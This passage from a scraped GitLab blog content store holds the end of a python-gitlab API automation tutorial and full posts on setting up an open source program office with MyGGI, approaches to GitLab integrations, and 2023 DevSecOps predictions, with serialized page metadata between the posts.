3.8, 3.9, 3.10 and 3.11, using [parallel matrix builds in GitLab CI/CD](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/.gitlab-ci.yml) and pyflakes for code linting. Automating the tests helps focus on development, and ensuring that the target platforms support the language features. Some Linux distributions do not provide Python 3.11 yet for example, and Python language features cannot be used or may need an alternative implementation.\n\n```yaml\ninclude:\n  - template: Security/SAST.gitlab-ci.yml\n  - template: Dependency-Scanning.gitlab-ci.yml\n  - template: Secret-Detection.gitlab-ci.yml\n\nstages:\n  - lint\n  - test\n\n.python-req:\n  image: python:$VERSION\n  script:\n    - pip install -r requirements_dev.txt\n  parallel:\n    matrix:\n      - VERSION: ['3.8', '3.9', '3.10', '3.11']   # https://hub.docker.com/_/python\n\nlint-python:\n  extends: .python-req\n  stage: lint\n  script:\n    - !reference [.python-req, script]\n    - pyflakes .\n\nsast:\n  stage: test\n\n```\n\n## Optimize code and performance\n\n- [Lazy objects](#lazy-objects)\n- [Object-oriented programming](#object-oriented-programming)\n\n### Lazy objects\n\nWhen working with objects that do not immediately need all attributes loaded, you can specify the [`lazy=True`](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#lazy-objects) attribute to not invoke an API call immediately. A follow-up method call will then invoke the required API calls.\n\n\n```python\n# Lazy object, no API call\nproject = gl.projects.get(PROJECT_ID, lazy=True)\n\ntry:\n    print(\"Trying to access 'snippets_enabled' on a lazy loaded project object. This will throw an exception that we capture.\")\n    print(\"Project settings: snippets_enabled={b}\".format(b=project.snippets_enabled))\nexcept Exception as e:\n    print(\"Accessing lazy loaded object failed: {e}\".format(e=e))\n\nproject.snippets_enabled = True\n\nproject.save() # This creates an API call\n\nprint(\"\\nLazy object was loaded after save() call.\")\nprint(\"Project settings: snippets_enabled={b}\".format(b=project.snippets_enabled))\n\n```\n\nExecuting the [`python_gitlab_lazy_objects.py`](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_lazy_objects.py) script shows that the lazy object did not fire an API call, thus throwing an exception when accessing the project setting `snippets_enabled`. To show that the object still can be managed, the code catches the exception to proceed with updating the setting locally, and calling `project.save()` to persist the change and call the API update.\n\n```shell\n$ python3 python_gitlab_lazy_objects.py                                                ─╯\nTrying to access 'snippets_enabled' on a lazy loaded project object. This will throw an exception that we capture.\nAccessing lazy loaded object failed: 'Project' object has no attribute 'snippets_enabled'\n\nIf you tried to access object attributes returned from the server,\nnote that \u003Cclass 'gitlab.v4.objects.projects.Project'> was created as\na `lazy` object and was not initialized with any data.\n\nLazy object was loaded after save() call.\nProject settings: snippets_enabled=True\n```\n\n### Object-oriented programming\n\nFor better code quality, it makes sense to follow object-oriented programming and create classes that store attributes, provide methods, and enable better unit testing. The [storage analyzer tool](https://gitlab.com/gitlab-de/gitlab-storage-analyzer) was developed to create a summary of projects that consume lots storage, for example CI/CD job artifacts. By inspecting the [Git history](https://gitlab.com/gitlab-de/gitlab-storage-analyzer/-/commits/main), you can learn from the different iterations to a first working version.\n\nThe following example is a trimmed version which shows how to initialize the class `GitLabUseCase`, add helper functions for logging and JSON pretty-printing, and print all project attributes.\n\n```python\n#!/usr/bin/env python\n\nimport gitlab\nimport os\nimport sys\nimport json\n\n# Print an error message with prefix, and exit immediately with an error code.\ndef error(text):\n    logger(\"ERROR\", text)\n    sys.exit(1)\n\n# Log a line with a given prefix (e.g. INFO)\ndef logger(prefix, text):\n    print(\"{prefix}: {text}\".format(prefix=prefix, text=text))\n\n# Return a pretty-printed JSON string with indent of 4 spaces\ndef render_json_output(data):\n    return json.dumps(data, indent=4, sort_keys=True)\n\n# Class definition\nclass GitLabUseCase(object):\n    # Initializer to set all required parameters\n    def __init__(self, verbose, gl_server, gl_token, gl_project_id):\n        self.verbose = verbose\n        self.gl_server = gl_server\n        self.gl_token = gl_token\n        self.gl_project_id = gl_project_id\n\n    # Debug logger, controlled via verbose parameter\n    def log_debug(self, text):\n        if self.verbose:\n            print(\"DEBUG: {d}\".format(d=text))\n\n    # Connect to the GitLab server and store the connection handle\n    def connect(self):\n        self.log_debug(\"Connecting to GitLab API at {s}\".format(s=self.gl_server))\n        # Supports personal/project/group access token\n        # https://docs.gitlab.com/ee/api/index.html#personalprojectgroup-access-tokens\n        self.gl = gitlab.Gitlab(self.gl_server, private_token=self.gl_token)\n\n    # Use the stored connection handle to fetch a project object by id,\n    # and print its attribute with JSON pretty-print.\n    def print_project_attributes(self):\n        project = self.gl.projects.get(self.gl_project_id)\n        print(render_json_output(project.attributes))\n\n\n## main\nif __name__ == '__main__':\n    # Fetch configuration from environment variables.\n    # The second parameter specifies the default value when not provided.\n    gl_verbose = os.environ.get('GL_VERBOSE', False)\n    gl_server = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n    gl_token = os.environ.get('GL_TOKEN')\n\n    if not gl_token:\n        error(\"Please specifiy the GL_TOKEN env variable\")\n\n    gl_project_id = os.environ.get('GL_PROJECT_ID', 42491852) # https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python\n\n    # Instantiate new object and run methods\n    gl_use_case = GitLabUseCase(gl_verbose, gl_server, gl_token, gl_project_id)\n    gl_use_case.connect()\n    gl_use_case.print_project_attributes()\n```\n\nRunning the [script](https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_oop_helpers.py) with the `GL_PROJECT_ID` environment variable pretty-prints the project attributes as JSON on the terminal.\n\n![Example script that pretty-prints the project object attributes as JSON](/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_oop_example_terminal_output_project_attributes.png){: .shadow}\n\n## More use cases\n\nBetter performance with API requests can be achieved by looking into parallelization and threading in Python. Users have been testing the storage analyzer script, and provided feedback to optimize the performance for the single-threaded script by using tasks and [Python threading](https://realpython.com/intro-to-python-threading/), similar to [this community project](https://gitlab.com/thelabnyc/gitlab-storage-cleanup). I might follow up on this topic in a future blog post, there are many more great use cases to cover using python-gitlab.\n\nThere is so much more to learn, here are a few examples from the GitLab community forum that could not make it into this blog post:\n\n* [Fetch review app environment URL from Merge Request](https://forum.gitlab.com/t/fetch-review-app-environment-url-from-merge-request/71335/2)\n* [Project visibility, project features, permissions](https://forum.gitlab.com/t/project-visibility-project-features-permissions-settings-api/32242)\n* [Download GitLab CI/CD job artifacts using Python](https://forum.gitlab.com/t/download-gitlab-ci-jobs-artifacts-using-python/25436/$)\n\n## Conclusion\n\nThe python-gitlab library helps to abstract raw REST API calls, and to keep access to attributes, functions and objects short and relatively easy. There are many use cases that can be solved efficiently. Alternative programming language libraries for the GitLab REST API are available [in the API clients section here](/partners/technology-partners/#api-clients).\n\nThe [GitLab Community Forum](https://forum.gitlab.com/) is a great place to collaborate on use cases and questions about possible solutions or code snippets. We'd love to hear from you about your use cases and challenges using the python-gitlab library.\n\nShoutout to the python-gitlab maintainers and contributors, developing this fantastic API library for many years now! If this blog post and the python-gitlab library helped you get more efficient, please consider [contributing to python-gitlab](https://python-gitlab.readthedocs.io/en/stable/#contributing). When there is a GitLab API feature missing, look into [contributing to GitLab](https://about.gitlab.com/community/contribute/), too. Thank you!\n\n\nCover image by [David Clode](https://unsplash.com/@davidclode) on [Unsplash](https://unsplash.com/photos/cxMJYcuCLEA)\n{: .note}",[232,696,943,479],{"slug":11169,"featured":6,"template":678},"efficient-devsecops-workflows-hands-on-python-gitlab-api-automation","content:en-us:blog:efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml","Efficient Devsecops Workflows Hands On Python Gitlab Api Automation","en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml","en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"_path":11175,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11176,"content":11182,"config":11188,"_id":11190,"_type":16,"title":11191,"_source":17,"_file":11192,"_stem":11193,"_extension":20},"/en-us/blog/how-start-ospo-ten-minutes-using-gitlab",{"title":11177,"description":11178,"ogTitle":11177,"ogDescription":11178,"noIndex":6,"ogImage":11179,"ogUrl":11180,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11180,"schema":11181},"Start an open source center of excellence in 10 minutes using GitLab","Launch your own open source program office using the OSPO Alliance's tools on GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682593/Blog/Hero%20Images/opensign.jpg","https://about.gitlab.com/blog/how-start-ospo-ten-minutes-using-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Start an open source center of excellence in 10 minutes using GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Boris Baldassari\"}],\n        \"datePublished\": \"2023-01-30\",\n      }",{"title":11177,"description":11178,"authors":11183,"heroImage":11179,"date":11185,"body":11186,"category":734,"tags":11187},[11184],"Boris Baldassari","2023-01-30","\nNow that open source has finally become a mainstream topic of conversation in the software industry, many organizations are increasingly curious about best practices for consuming, using, managing, and contributing to open source software projects. Open source software can seem alien and intimidating for organizations unfamiliar with it, and participating meaningfully and effectively in the open source ecosystem can be challenging.\n\nOrganizations especially serious about working in open source have formed [open source program offices](https://opensource.com/business/16/5/whats-open-source-program-office) (OSPOs) to spearhead their efforts. These offices are centers of excellence for an organization's ongoing work in open source. They help the organization realize the benefits of working with open source communities to accelerate innovation and build more secure tools.\n\nPerhaps your organization is considering establishing an OSPO. If it is, you likely have questions about how to get started – and especially about the best ways to help your organization become a valuable participant in the open source ecosystem.\n\nThe [OSPO Alliance](https://ospo.zone/) can help. Formed in 2021, the OSPO Alliance connects [experienced open source practitioners](https://ospo.zone/membership/) with organizations in need of seasoned guides to the open source world. Since the organization's founding, its members have composed a corpus of best open source practices called the [Good Governance Initiative Handbook](https://ospo.zone/ggi/), which explores various legal, cultural, and strategic considerations organizations face when working with open source software (and, naturally, the handbook itself is openly licensed, so anyone can contribute to it).\n\nTo celebrate the launch of the GGI Handbook Version 1.1, the OSPO Alliance went a step further: We have released the [MyGGI project](https://gitlab.ow2.org/ggi/my-ggi-board), which allows organizations to quickly create the infrastructure for their own open source program offices using GitLab.\n\nNow, let's look at what the MyGGI project can help your organization accomplish, including how to use the tool to establish an OSPO built on GGI principles — in only 10 minutes.\n\n## Working with the GGI Handbook\n\nThe GGI Handbook defines 25 activities, or best practices, organized according to various goals an organization may seek to accomplish with open source. Examples of activities include recommendations like \"Manage open source skills and resources,\" \"Manage software dependencies,\" \"Upstream first,\" or \"Engage with open source projects.\" Each of these activities, then, has a corresponding description and rationale, and the handbook provides resources, tools, and hints for successfully implementing them.\n\nActivites are intentionally generic and must be adapted to your organization's specific, unique, local context. The GGI Hanbook offers tools for doing this, too: scorecards. Scorecards allow you to assess your organization's engagement in and progress with various open source best practices.\n\nSo working with the GGI Handbook in your organization might look something like this:\n\n1. Evaluate the open source-related activities the handbook proposes and remove those that don't fit your specific context (maybe some activities will require a bit of adptation to be more relevant to the domain, while some others may just be discarded).\n1. Identify the activities that would be most beneficial to reaching your organization's goals in engaging with open source.\n1. Construct an Agile-like, iterative process for working on a small set of these activities. Do this in the form of sprints by tracking your progress with scorecards, and adapt the activity to your local context, team cultures, and available resources as you go.\n1. At the end of each iteration, review the activities your teams have completed, select a new scope for improvement, and repeat the process.\n\nThe MyGGI project provides a push-button infrastructure for doing this work. Next, let's examine how to deploy it on GitLab.\n\n### Deploying the GGI Handbook on GitLab\n\nThe OSPO Alliance wanted to provide a quick and straightforward way for organizations to establish their own open source program activities using a dashboard, so they can start implementing the GGI Handbook's methods without delay. We didn't want to reinvent the wheel with some heavy custom tooling. Instead, we decided to build the project using tools already available to us. We had already used GitLab issues to model activities during the early stages of handbook development, so reusing this GitLab feature made most sense. By simply adding some scripting to automate the initialization of activities and updating a static website on GitLab Pages, we were able to launch the project so others could easily deploy it in their own GitLab instances.\n\nInstructions for deploying the program are available in the project's [README](https://gitlab.ow2.org/ggi/my-ggi-board/-/blob/main/README.md). Let's review them here and start your own OSPO together.\n\nFirst, we need to create a new project on our GitLab instance. Select `Import project`, then `From repository by URL`. \n\nNext, we will need to provide a remote URL. Copy the existing MyGGI project by using the [URL](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners/publications-and-presentations/-/tree/main) `[https://gitlab.ow2.org/ggi/my-ggi-board.git](https://gitlab.ow2.org/ggi/my-ggi-board.git)`.\n\nThen we will give our project a unique name and choose a visibility level. Here's an example of how it might look:\n\n![Repository by URL](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-1.png){: .shadow}\n\nWhen you have configured your desired settings, click `Create project` to continue.\n\nOur next step is to configure access privileges. Go to `Project Settings > Access Tokens` and create a `Project Access Token` with `API` privilege and `Maintainer` role. The project's scripts will use these to create the issues and generate the static website dashboard for your OSPO.\n\nWhen the token is created, copy it to a safe place, as **you will never be able to see it again**. Note that some GitLab instances prefer to disable the Project Access Token feature in favor of Personal Access Tokens. This is perfectly okay; the preference won't affect the deployment of this project (see the instructions for more details).\n\nHere's an example of what you will see at this stage:\n\n![Project access tokens](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-2.png){: .shadow}\n\nWe will then provide this access token to the pipelines and scripts by creating a CI/CD environment variable. Go to `Project Settings` and then `CI/CD`. Scroll to the `Variables` section and add a new variable with name `GGI_GITLAB_TOKEN`. Input the access token you created in the last step as the value. Here's an example:\n\n![Add variable screen](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-3.png){: .shadow}\n\nWe can now execute the pipeline to begin the process of creating your OSPO infrastructure. Go to `CI/CD`, then `Pipelines`, and click on `Run pipeline`. After a couple of minutes, the pipeline should finish and the website will deploy. You will see something like this when the pipeline finishes:\n\n![Pipeline passed screen](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-4.png){: .shadow}\n\nInfrastructure for your open source program office is now ready!\n\n### Using the tools\n\nThe MyGGI project creates a set of 25 activities, along with a nice project board to help you visualize them:\n\n![Project board](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-5.png){: .shadow}\n\nUsers can click on specific activities (rendered as issues) to read the description of the activity, understand the tools and resources that might help them complete it, and begin completing relevant scorecards. Users can also define their own perspectives on the activities, as they see them from the organization's specific context. Then they can create tasks to narrow the scope of each activity so they can iterate on it and track progress. \n\nTheir work is displayed on a static website hosted on GitLab Pages and updated nightly according to the organization's progress on various activities and tasks. This web page is especially useful to present the program and its day-to-day evolution to the organization (or the world); participants, stakeholders, and executives can review it to learn more about the various initiatives, see what work is underway, and track the overall development of the organization's open source program office. The initial website looks like this:\n\n![Welcome screen of website](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-6.png){: .shadow}\n\n### Running your OSPO\n\nSelecting an open source program manager to oversee the work on the project boards is beneficial at this step. That person will:\n\n- Assign issues to team members to start working on new activities, create scorecards to track the work and associated tasks, and label them as \"In Progress\" instead of \"Not Started\".\n- Oversee the evolution of the work as it moves through various iterations, completing the scorecards with local resources and information, and closing issues as tasks are complete.\n- Ensure that issues keep making progress and, as team members complete them, assign new ones.\n\nAs changes occur in both the project and its issues, your OSPO's static website will regularly update to reflect the current status of activities, tasks, and the overall progress. After some time, for instance, the dashboard may look like this:\n\n![Dashboard with current status](https://about.gitlab.com/images/blogimages/ospointenminutes/screenshot-9.png){: .shadow}\n\nYou're now on your way to establishing your organization's open source program office. Don't hesitate to connect with the [OSPO Alliance](https://ospo.zone/) for help and support as you continue your journey!\n\n_Boris Baldassari is an open source consultant at the Eclipse Foundation Europe, and an active contributor to the OSPO Alliance._\n\nCover image by [Clay Banks](https://unsplash.com/@claybanks?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)\n{: .note}\n\n",[815,696,4103],{"slug":11189,"featured":6,"template":678},"how-start-ospo-ten-minutes-using-gitlab","content:en-us:blog:how-start-ospo-ten-minutes-using-gitlab.yml","How Start Ospo Ten Minutes Using Gitlab","en-us/blog/how-start-ospo-ten-minutes-using-gitlab.yml","en-us/blog/how-start-ospo-ten-minutes-using-gitlab",{"_path":11195,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11196,"content":11202,"config":11208,"_id":11210,"_type":16,"title":11211,"_source":17,"_file":11212,"_stem":11213,"_extension":20},"/en-us/blog/four-approaches-to-gitlab-integrations",{"title":11197,"description":11198,"ogTitle":11197,"ogDescription":11198,"noIndex":6,"ogImage":11199,"ogUrl":11200,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11200,"schema":11201},"4 approaches to GitLab integrations","Learn about use cases that help extract even more value from a DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667946/Blog/Hero%20Images/4-facets-of-gitlab-integration.png","https://about.gitlab.com/blog/four-approaches-to-gitlab-integrations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 approaches to GitLab integrations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kurt Dusek\"}],\n        \"datePublished\": \"2023-01-26\",\n      }",{"title":11197,"description":11198,"authors":11203,"heroImage":11199,"date":11205,"body":11206,"category":962,"tags":11207},[11204],"Kurt Dusek","2023-01-26","\n\nThe benefit of a DevSecOps platform is to create a foundation upon which an organization can build its entire development process. Rather than having to log onto several different systems to manage, observe, and advance through the software development lifecycle, DevSecOps teams have one application to serve as their system of record. To augment the platform and create even more business value, organizations can create integrations with third-party software and systems, while still maintaining a unified experience for stakeholders, developers, and operators.\n\nLet's look at what integrations are possible and the use cases that drive them.\n\n## What can be integrated with GitLab\n\nAs a senior solutions architect for Alliances here at GitLab, I often get asked, \"How can I integrate GitLab with X?\" My response: That depends on what's being integrated. X could be a cloud provider, point tool, legacy application or web service that might be used in the development cycle. \n\n## How to integrate with GitLab\n\nThere are four approaches to GitLab integrations:\n\n1. Use GitLab to deploy client applications to X / Host GitLab runners on X\n2. Host GitLab Server on X\n3. Integrate with the development cycle\n4. Deep GitLab application integration\n\nLet's dig deeper into each one.\n\n### 1. Use GitLab to deploy client applications to `X` or Host GitLab runners on `X`\nA very common use case and typically the easiest to achieve. For instance, platform providers, who want to make it easy for their users to run apps built with GitLab on their infrastructure or application server, are often asked for this option. The path is to have GitLab Server be able to authenticate to the hosting platform, and deploy the (ideally containerized) application to the platform.\n\nA close cousin of this is the need to deploy [GitLab runners](https://docs.gitlab.com/runner/) to the infrastructure and register them with a GitLab instance, be it GitLab.com or a self-managed instance. Runners are easy to setup and register, and can be [configured and scaled in many different ways](https://docs.gitlab.com/runner/fleet_scaling/). \n\n### 2. Host GitLab Server on `X`\nPlatform providers are also asked to host GitLab Server on their infrastructure. What makes this easy is GitLab runs almost anywhere; if you've got Linux, you can run GitLab Server (even on a Raspberry Pi). The work has already been done for the major cloud providers, including [GCP](https://docs.gitlab.com/ee/install/google_cloud_platform/), [AWS](https://docs.gitlab.com/ee/install/aws/), [Azure](https://docs.gitlab.com/ee/install/azure/), and [Oracle Cloud](https://docs.oracle.com/en/solutions/deploy-gitlab-ci-cd-oci/index.html). If you want to run on your own infrastructure, the [Omnibus](https://docs.gitlab.com/omnibus/) installer does most of the heavy lifting for you; it's the easiest way to self-host GitLab.  \n\n### 3. Integrate with the development cycle\nHere's where it starts to get a bit more involved. The good news is that GitLab has extensive [APIs](https://docs.gitlab.com/ee/api/) and [webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html) that allow for listening for events and pushing and pulling data.\n\nIf the goal is to integrate with the [CI/CD pipeline](https://docs.gitlab.com/ee/ci/index.html), this can be done by creating a container image that encapsulates the application or scripts necessary and defining a job within the pipeline that uses this image to run the integration. It's likely the integrated app produces some output that **someone** needs to review. Displaying this output directly within the Merge Request elevates third-party data rather than something that has to be searched for in another system.  Depending on the nature of the tool being integrated, it's possible to show results and a [security report](https://docs.gitlab.com/ee/development/integrations/secure.html#report), [metrics report](https://docs.gitlab.com/ee/ci/testing/metrics_reports.html), or [artifact](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html#expose-job-artifacts-in-the-merge-request-ui) that can contain almost any type of data.\n\n### 4. Deep GitLab application integration\nThis is the most complex since it requires an understanding of the [architecture of the GitLab application](https://docs.gitlab.com/ee/development/architecture.html#simplified-component-overview), and how an outside service will interact with and support this architecture. An example of this would be a managed PostgresSQL or Redis service. There's a potential risk of downtime if this type of integration goes wrong, so it's important to test thoroughly in a production-like environment before considering it production-ready. Fortunately GitLab publishes several tools to do this. [GitLab Performance Tool (GPT)](/handbook/support/workflows/gpt_quick_start.html) provides an excellent way to measure and report on the performance of a GitLab instance under various usage scenarios. Its counterpart [GitLab Browser Performance Tool](https://gitlab.com/gitlab-org/quality/performance-sitespeed) tests the browser performance of various GitLab pages.  \n\nRead more on [Kurt Dusek's blog](https://blog.scientifik.org/).\n",[232,282,4103],{"slug":11209,"featured":6,"template":678},"four-approaches-to-gitlab-integrations","content:en-us:blog:four-approaches-to-gitlab-integrations.yml","Four Approaches To Gitlab Integrations","en-us/blog/four-approaches-to-gitlab-integrations.yml","en-us/blog/four-approaches-to-gitlab-integrations",{"_path":11215,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11216,"content":11222,"config":11226,"_id":11228,"_type":16,"title":11229,"_source":17,"_file":11230,"_stem":11231,"_extension":20},"/en-us/blog/whats-next-for-devsecops",{"title":11217,"description":11218,"ogTitle":11217,"ogDescription":11218,"noIndex":6,"ogImage":11219,"ogUrl":11220,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11220,"schema":11221},"GitLab’s 2023 predictions: What’s next for DevSecOps?","Check out insights on securing the supply chain, new uses for AI/ML, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663820/Blog/Hero%20Images/prediction.jpg","https://about.gitlab.com/blog/whats-next-for-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s 2023 predictions: What’s next for DevSecOps?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2023-01-26\",\n      }",{"title":11217,"description":11218,"authors":11223,"heroImage":11219,"date":11205,"body":11224,"category":962,"tags":11225},[3281],"\nIn 2023, organizations will focus their time and resources on the continued shift left of security, completing the evolution from DevOps to [DevSecOps](/topics/devsecops/). GitLab Chief Marketing and Strategy Officer [Ashley Kramer](https://gitlab.com/akramer) says that every company will need to have security tightly integrated into DevOps to combat the increased threats throughout the software development lifecycle. In addition, DevSecOps teams will have to continue to focus on supply chain security, make optimal use of artificial intelligence and machine learning, and expand their use of value stream analytics. GitLab leaders from across disciplines share these predictions and more about how the industry will change this year.\n\n## Prediction 1: Protecting the supply chain will be the top priority\n\nSecurity will continue to be an organization-wide responsibility, shifting further left and spanning from [the IDE](/blog/get-ready-for-new-gitlab-web-ide/) to applications running in production, according to  [David DeSanto](https://gitlab.com/david), Chief Product Officer.\n\nIn our [2022 Global DevSecOps survey](https://about.gitlab.com/developer-survey/previous/2022/), 57% of sec team members said their orgs have either shifted security left or are planning to this year. Half of security professionals report that developers are failing to identify security issues – to the tune of 75% of vulnerabilities.\n\nThe shift left will be driven in part by the need for [tighter security for software supply chains](/blog/the-ultimate-guide-to-software-supply-chain-security/). “As remote development becomes more and more commonplace, software supply chain security will play a more expansive role across the software development lifecycle,” DeSanto says.\n\n[Francis Ofungwu](https://gitlab.com/fofungwu), Global Field CISO, predicts this supply chain security evolution will happen in three key ways:\n\n- The engineering frontlines will take on more ownership of managing threats in their day-to-day operations. In order to accomplish this, developers will need real-time context on vulnerabilities and remediation strategies in each phase of the software development lifecycle (SDLC), consequently reducing the likelihood of painful incidents in production environments.\n\n- Security and compliance teams will invest in transcribing their software assurance expectations into policy-as-code to reduce the manual and time-consuming security review processes that reduce development velocity.\n\n- As a result of headline-grabbing incidents highlighting enterprise risks in modern software development, organizations will build audit programs to better assess and report SDLC risks. This will require organizations to design how to deliver artifacts that prove the immutability of the controls deployed across all aspects of their development toolchain. \n\nOrganizations should also expect that “what have been best practices for supply chain security for many years, will now become regulatory requirements,” says [Corey Oas](https://gitlab.com/corey-oas), Manager, Security Compliance (Dedicated Markets). He points to [artifact attestation and software bill of materials (SBOM) generation](/blog/the-ultimate-guide-to-sboms/) as examples of best practices that will soon become federal government or industry mandates. “Both of these are integral to developer workflows.” \n\n[Sam White](https://gitlab.com/sam.white), Group Manager, Product - Govern, doubles down on the SBOM and artifact attestation prediction, saying both SBOMs and attestations will need ongoing attention from DevSecOps teams. “Expect to see a shift from looking at these as one-time events to them becoming part of a continuous evaluation process,” he says, adding that organizations will need deeper visibility into software dependencies (e.g. open source packages) and more centralization of software build information.\n\nAnother element of software supply chain security is [zero trust](/blog/why-devops-and-zero-trust-go-together/). “Organizations have considered zero trust strategies for a while, and it will be an implementation focus for them going forward,” predicts [Joel Krooswyk](https://gitlab.com/jkrooswyk), GitLab Federal CTO. “One reason for this movement, at least among federal agencies and their suppliers, is the recent release of the Department of Defense zero trust architecture strategy and roadmap and the inclusion of zero trust principles in several National Institute of Standards and Technology publications such as [800-207](https://csrc.nist.gov/publications/detail/sp/800-207/final).”\n\n> Get more public sector predictions with our webcast [“2022 Lookback & 2023 Predictions in Cybersecurity & Zero Trust with GitLab”](https://page.gitlab.com/2022_devsecopsusecase_Lookback_Predictions_PubSec_RegistrationPage.html)\n\n## Prediction 2: Security will burrow deep into DevOps education\n\nTo mirror the transformation of DevOps to DevSecOps, [DevOps training and education](/blog/5-ways-to-bring-devops-to-your-campus/) will include security as a key part of the curricula, White says. “Organizations will have to provide access to the training that developers need to get a baseline security knowledge, including why certain vulnerabilities are important and should be addressed right away,” he says.\n\n[Pj Metz](https://gitlab.com/PjMetz), Education Evangelist, believes 2023 will be the year that “Shift Left principles will show up in university classrooms.”\n\n“Already, the GitLab for Education team has seen more and more requests for information on DevSecOps, and not just in computer science and programming. Information systems students are looking to learn more about DevSecOps as well,” he says. ”Integrating security education directly into DevOps curricula will ensure that future professionals will be prepared for all aspects of DevSecOps.”\n\nAnd he encourages DevOps students to [ask for security to be added into their education](https://about.gitlab.com/the-source/security/the-future-of-devops-education-needs-to-include-security/) so they will be properly prepared for the workforce. \n\n## Prediction 3: AI/ML will be used throughout the SDLC\n\n“AI will become essential for productivity,” Kramer says. “For example, DevOps teams will integrate AI/ML to automate repetitive and difficult tasks. Ideally, this would ease the burden on developers by removing their cognitive load, decreasing the amount of context-switching they have to do, and enabling them to stay in the flow of development.\"\n\nAccording to our 2022 Global DevSecOps survey, 62% of respondents practice ModelOps, while 51% use AI/ML to check code.\n\n“Combining digital transformation with business analytics and AI - real transformations are possible,” says [Christina Hupy](https://gitlab.com/c_hupy), Sr. Manager, Community Programs. “As more of their data is input, businesses can draw actual insights and use AI to continuously improve their systems.”\n\nDeSanto agrees and predicts that [AI-assisted workflows will gain popularity](/blog/why-ai-in-devops-is-here-to-stay/) in application development. “AI/ML will further enable rapid development, security remediation, improved test automation, and better observability,” he says.\n\n[Taylor McCaslin](https://gitlab.com/tmccaslin), Group Manager of Product for Data Science, says that while AI/ML certainly isn’t new, making technologies such as open-ended AI accessible to consumers, set an expectation to figure out how it could be better used in software development (think code completion and other such tasks).\n\nHe predicts that while AI/ML will be used all along the SDLC, organizations will grapple with privacy concerns, preserving intellectual property (such as AI-generated code ownership) and permissiveness of licenses for training data sets and algorithms.\n\nAt the same time, he says to look for “more rapid development in the MLOps and DataOps spaces to help developers manage, maintain, and iterate on production software systems that leverage ML and AI.” (Note: GitLab is investing in our ModelOps stage to help support the development of data science-enriched software within the GitLab platform.)\n\n## Prediction 4: Value stream analytics will take on a greater role in organizations\n\nThe digital transformation that organizations will undergo this year will require a deeper commitment to [examining value streams](/blog/the-gitlab-quarterly-how-our-latest-beta-releases-support-developers/). “Value stream analytics will extend past development workflows to provide a more holistic view of the value organizations deliver to their users (both internal and external),” DeSanto says.\n\nExecutive leadership will seek out metrics that give insight into how digital transformation and technological investments are delivering value and driving business results. This is a shift from solely focusing on development efficiencies. The 2022 Global DevSecOps survey found that 75% of respondents are either using a DevOps platform or plan to move to one within a year with one of the drivers of this change being metrics and observability.\n\n## Prediction 5: Observability will shift left for efficient DevSecOps \n\n[Observability](/direction/monitor/platform-insights/) will also move further left in the SDLC, according to [Michael Friedrich](https://gitlab.com/dnsmichi), Senior Developer Evangelist. “Observability-driven development will enable everyone to become more efficient and inspire innovation,\" he says.\n\nNew observability-enabling technologies like [eBPF](https://ebpf.io/what-is-ebpf) will help developers with automated code instrumentation instead of adding more workload with manual code instrumentation. eBPF also supports better observability and security workflows in cloud-native environments.\n\nObservability will play a critical role in improving the efficiency of DevSecOps workflows, including CI/CD, infrastructure cost analysis, and trending/forecasting for better capacity planning.\n\n_What do you think will be the big DevSecOps technology advancements this year? Let us know your predictions in the comments below._\n\n## Engage with DevSecOps experts\n\nWant to dig deeper into how to innovate while still keeping an eye on cost efficiencies? Sign up for our webcast [“GitLab’s DevSecOps Innovations and Predictions for 2023”](https://page.gitlab.com/webcast-gitlab-devsecops-innovations-predictions-2023.html?utm_medium=blog&utm_source=gitlab&utm_campaign=devopsgtm&utm_content=fy23q4release) on Jan. 31 to get expert advice and insights about this era of DevSecOps transformation and the tools and strategies you’ll need to meet this challenge. \n[Register](https://page.gitlab.com/webcast-gitlab-devsecops-innovations-predictions-2023.html?utm_medium=blog&utm_source=gitlab&utm_campaign=devopsgtm&utm_content=fy23q4release) today!\n\nCover image by [Drew Beamer](https://unsplash.com/@dbeamer_jpg?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com/)\n{: 